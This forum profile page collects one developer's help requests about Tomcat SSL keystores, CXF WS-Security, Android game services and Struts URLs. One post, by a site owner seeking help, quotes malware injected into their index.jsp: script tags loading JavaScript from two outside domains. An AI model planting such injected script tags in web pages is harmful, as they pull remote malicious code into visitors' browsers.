This week's book giveaway is in the Web Services forum.
We're giving away four copies of Microservices in Action and have Morgan Bruce & Paulo A. Pereira on-line!
See this thread for details.
Win a copy of Microservices in Action this week in the Web Services forum!

Luca Carletti

Greenhorn
+ Follow
since Jun 15, 2010
Cows and Likes
Cows
Total received
0
In last 30 days
0
Total given
0
Likes
Total received
0
Received in last 30 days
0
Total given
0
Given in last 30 days
0
Forums and Threads
Scavenger Hunt
expand Ranch Hand Scavenger Hunt
expand Greenhorn Scavenger Hunt

Recent posts by Luca Carletti

Hello,

I would like create  a multiplayer game for android.

I have try with the example:

https://github.com/playgameservices/android-basic-samples/tree/master/ButtonClicker

I have found:
https://github.com/playgameservices/android-basic-samples/blob/master/ButtonClicker/src/main/res/values/ids.xml

<resources>
   <!-- TODO: Replace this entire file with the ids.xml provided from the Google Play Console.
        NOTE: You can find this file by clicking the `Get Resources` link in
        the Events, Achievements, or Leaderboards menu of the Google Play Console. -->
   <string name="app_id">YOUR_APP_ID</string>
</resources>


I want ask:
Is it required pay 25$  for test my example or I can found YOUR_APP_ID for free?


Tanks for your replay.

Regards.


2 weeks ago

I have used this guide
https://knowledge.rapidssl.com/support/ssl-certificate-support/index?page=content&actp=CROSSLINK&id=SO16068
I used rapidssl for CA.

But i following your suggestion and I have change my connector:

<Connector
className="org.apache.coyote.tomcat4.CoyoteConnector"
port="443"
minProcessors="5"
maxProcessors="75"
enableLookups="false"
acceptCount="10"
connectionTimeout="60000"
debug="0"
SSLEnabled="true"
scheme="https"
secure="true">
<Factory
className="org.apache.coyote.tomcat4.CoyoteServerSocketFactory"
clientAuth="false"
protocol="TLS"
keystoreFile="PATH_KEYSTORE/miokeystore.jks"
keystorePass="myPass"/>
</Connector>

with:

<Connector
protocol="org.apache.coyote.http11.Http11Protocol"
port="443"
maxThreads="150"
scheme="https"
secure="true"
SSLEnabled="true"
keystoreFile="PATH_KEYSTORE/miokeystore.jks"
keystorePass="myPass"
clientAuth="false"
sslProtocol="TLS"
/>

Now in my catalina.out, I have not error, and in my site the https is corretly, but there is the worning:
This connection is untrasted; and I must to add exception for show my site.

Exist a way to debug this problem?

Tanks, Regard

2 years ago
Hello Tim,

Tanks a lot for you replay.

I have used another way and then i have verified whit the CA that my file.jks is correct

The CA said me that the problem is in the server.xml configuration.

I have add in the server.xml the followed configuration:

<Connector
className="org.apache.coyote.tomcat4.CoyoteConnector"
port="443"
minProcessors="5"
maxProcessors="75"
enableLookups="false"
acceptCount="10"
connectionTimeout="60000"
debug="0"
SSLEnabled="true"
scheme="https"
secure="true">
<Factory
className="org.apache.coyote.tomcat4.CoyoteServerSocketFactory"
clientAuth="false"
protocol="TLS"
keystoreFile="PATH_KEYSTORE/miokeystore.jks"
keystorePass="myPass"/>
</Connector>


But in the my catalina.out I have the followed error:

gen 24, 2016 1:18:04 PM org.apache.coyote.AbstractProtocol init
Informazioni: Initializing ProtocolHandler ["http-bio-443"]
gen 24, 2016 1:18:05 PM org.apache.tomcat.util.net.jsse.JSSESocketFactory getStore
Grave: Failed to load keystore type JKS with path /root/.keystore due to /root/.keystore (No such file or directory)
java.io.FileNotFoundException: /root/.keystore (No such file or directory)
at java.io.FileInputStream.open(Native Method)
at java.io.FileInputStream.<init>(FileInputStream.java:146)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.getStore(JSSESocketFactory.java:413)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.getKeystore(JSSESocketFactory.java:319)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.getKeyManagers(JSSESocketFactory.java:577)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.getKeyManagers(JSSESocketFactory.java:517)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.init(JSSESocketFactory.java:462)
at org.apache.tomcat.util.net.jsse.JSSESocketFactory.createSocket(JSSESocketFactory.java:209)
at org.apache.tomcat.util.net.JIoEndpoint.bind(JIoEndpoint.java:398)
at org.apache.tomcat.util.net.AbstractEndpoint.init(AbstractEndpoint.java:646)
at org.apache.coyote.AbstractProtocol.init(AbstractProtocol.java:434)
at org.apache.coyote.http11.AbstractHttp11JsseProtocol.init(AbstractHttp11JsseProtocol.java:119)
at org.apache.catalina.connector.Connector.initInternal(Connector.java:978)
at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:102)
at org.apache.catalina.core.StandardService.initInternal(StandardService.java:559)
at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:102)
at org.apache.catalina.core.StandardServer.initInternal(StandardServer.java:821)
at org.apache.catalina.util.LifecycleBase.init(LifecycleBase.java:102)
at org.apache.catalina.startup.Catalina.load(Catalina.java:638)
at org.apache.catalina.startup.Catalina.load(Catalina.java:663)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:606)
at org.apache.catalina.startup.Bootstrap.load(Bootstrap.java:280)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:454)


But I'm sure that the PATH_KEYSTORE/miokeystore.jks is correct.


Can you help me?

Tanks. regards,
Luca Carletti
2 years ago

download log4j for
https://logging.apache.org/log4j/1.2/download.html

unzip the log4j.jar e paste in WEB-INF/LIB

then use the following link

http://www.mkyong.com/tutorials/log4j-tutorial/

regard
2 years ago
Hello, I have a webapp in apache tomcat.

I have configurated the ssl and i have imported the CA in keystore.jks.

I have done the followed:


1) keytool -genkey -alias 'mykeyalias' -keyalg RSA -sigalg SHA1withRSA -keysize 2048 -keystore keystore.jks -dname "CN=www.mywebsite.it , OU=it, O=mywebsite, L=mycity, ST=Italia, C=IT"
pass: keypass

2) keytool -certreq -alias 'mykeyalias' -keystore keystore.jks -file www.mywebsite.csr -sigalg SHA1WithRSA
pass: keypass

3)By CA I download e unzip www_mywebsite_it.zip ASSOCIATE at file www.mysite.csr (whith SHA1)
I have obtained:
a) AddTrustExternalCARoot.crt
b) COMODORSAAddTrustCA.crt
c) COMODORSADomainValidationSecureServerCA.crt
d) www_mywebsite_it.crt

Then i have imported the followed certified:

keytool -import -alias 'rootcert' -keystore keystore.jks -trustcacerts -file AddTrustExternalCARoot.crt
pass: keypass

keytool -import -alias 'rsaTrust' -keystore keystore.jks -trustcacerts -file COMODORSAAddTrustCA.crt
pass: keypass

keytool -import -alias 'domainValidation' -keystore keystore.jks -trustcacerts -file COMODORSADomainValidationSecureServerCA.crt
pass: keypass


At the end I used in mi server.xml the follow configuration:

<Connector
port="443"
maxThreads="150"
scheme="https"
secure="true"
SSLEnabled="true"
keystoreFile="keystore.jks"
keystorePass="keypass"
clientAuth="false"
keyAlias="mykeyalias"
sslProtocol="TLS"
/>

In my site the https is corretly, but there is the worning:
This connection is untrasted; and I must to add exception for show my site.

I don't know where is the mistake.

Somebady can help me?

Thanks a lot, Regard
2 years ago
Hello, I want implement web service whit cxf using ws_security.

I have download apache cxf 2.3.3 and apache cxf 2.7.4.

I have test the

apache-cxf-2.3.3\samples\ws_security\sign_enc :

(apache-cxf-2.3.4\lib) use soap11
the sample (apache-cxf-2.3.3\samples\ws_security\sign_enc) use soap11

and this is OK

........

but,

apache-cxf-2.7.4\samples\ws_security\sign_enc

there is problem because the library(apache-cxf-2.7.4\lib) use soap12, but

the sample (apache-cxf-2.7.4\samples\ws_security\sign_enc) use soap11

Post the exception:
Caused by: org.apache.ws.security.WSSecurityException: General security error (WSEncryptBody/WSSignEnvelope: Element to encrypt/sign not found: http://schemas.xmlsoap.org/soap/envelope/, Body)
at org.apache.ws.security.message.WSSecSignatureBase.addReferencesToSign(WSSecSignatureBase.java:160)
... 25 more

I have made this change:

this code(soap11):

private static final String WSU_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd";
outProps.put("encryptionParts", "{Element}{" + WSU_NS + "}Timestamp;"
+ "{Content}{http://schemas.xmlsoap.org/soap/envelope/}Body");
outProps.put("signatureParts", "{Element}{" + WSU_NS + "}Timestamp;"
+ "{Element}{http://schemas.xmlsoap.org/soap/envelope/}Body");

whith(soap12):

private static final String WSU_NS = "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd";
outProps.put("encryptionParts", "{Element}{" + WSU_NS + "}Timestamp;"
+ "{Content}{http://www.w3.org/2003/05/soap-envelope}Body");
outProps.put("signatureParts", "{Element}{" + WSU_NS + "}Timestamp;"
+ "{Element}{http://www.w3.org/2003/05/soap-envelope}Body");

But i have this warning:

WARNING: Interceptor for {http://docs.oasis-open.org/ws-dd/ns/discovery/2009/01}Discovery#{http://cxf.apache.org/jaxws/provider}invoke has thrown exception, unwinding now
org.apache.cxf.binding.soap.SoapFault: MustUnderstand headers: [{http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd}Security] are not understood.
at org.apache.cxf.binding.soap.interceptor.MustUnderstandInterceptor$MustUnderstandEndingInterceptor.handleMessage(MustUnderstandInterceptor.java:281)
at org.apache.cxf.binding.soap.interceptor.MustUnderstandInterceptor$MustUnderstandEndingInterceptor.handleMessage(MustUnderstandInterceptor.java:259)
at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:271)
at org.apache.cxf.transport.ChainInitiationObserver.onMessage(ChainInitiationObserver.java:121)
at org.apache.cxf.transport.udp.UDPDestination$MCastListener$2.run(UDPDestination.java:106)
at org.apache.cxf.workqueue.AutomaticWorkQueueImpl$3.run(AutomaticWorkQueueImpl.java:428)
at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
at org.apache.cxf.workqueue.AutomaticWorkQueueImpl$AWQThreadFactory$1.run(AutomaticWorkQueueImpl.java:353)
at java.lang.Thread.run(Unknown Source)

anybody have a idea?

Thank you












5 years ago
Thank you for reply,

build my own host web sites is a good idea!!!

can you give me some indication for build my own web server and host web sites???

Can you post me some link taht to explain how to do???




7 years ago
JSP
my hosting company say that depend by sql injection, but i don't know how that can modify my code...
7 years ago
JSP
Hello,

I have publisched a site in a hosty server.

Recently i have discove that in my index.jsp page there is a malware code:

<html><body><script type="text/javascript" src="http://rafalpasko.hekko.pl/minijtools.js"></script><script type="text/javascript" src="http://tasavang.com/jtoolsmini.js"></script></body></html>

I have cleaner the code, but periodically the malware code reappear....

I don't know how that is possible...

anybody know a method to stop that???

Thank you and excuse for my terrible english...
7 years ago
JSP
I think in effect that the problem is really struts when use a action (servlet), struts use path relative in web.xml for achieve the struts-config.xml and this use path relative for the forwording!!!

Know you if exist some configuration in struts to indicate the path absolute or to indicate a struts the begin part of the url???
8 years ago
I think that you use a version of
java no correct!!!

You must use a version 1.5 for tomcat 5!!!

I have the same problem whit tomcat 5.5 and java 1.6!!!

With java 1.5 the tomcat 5.5 run right
8 years ago
Excuse me for the message, but the

<base href="http://111.112.113.114:8080/jsp/login.jsp">

is the view of the page source of the html.
But for generate it i have use the stuts library!!

The source code is:
<%@ taglib uri="/tags/struts-html" prefix="html" %>

<html:base/>
8 years ago
In effect the tag html <base>
is:

<base href="http://111.112.113.114:8080/jsp/login.jsp">

in the index page!!

But url is:
http://www.mysite.it/jsp/login.jsp


8 years ago
Hello , I have a application
that use:

1) apache tomcat
2) struts

my webSite lose the dns:

Exemple:
1)supposing my site: http://www.mysite.it
2)supposing Apache Tomcat IP --> 111.112.113.114 port 8080

when i execute a action for examples login.do,

I want my url:

http://www.mysite.it/login.do

but I have

http://111.112.113.114:8080/login.do --> (my site lose the dns)

In the index page url is
http://www.mysite.it/ but
the source page in tag <base> is:
<base href="http://111.112.113.114:8080/jsp/login.jsp">

but I think that is no correct
I think that the tag <base> correct must be:

<base href="http://www.mysite.it/jsp/login.jsp">

Thank you!



8 years ago
Hello, many thanks for your time!!!I have know about the reverse dns, but
my site is on hosting services.
I have send a email by systems engineer of hosting about your replace, but they say that the problem is how the url is created!!!
I think about the problem is struts that use path relative for generate the url!





8 years ago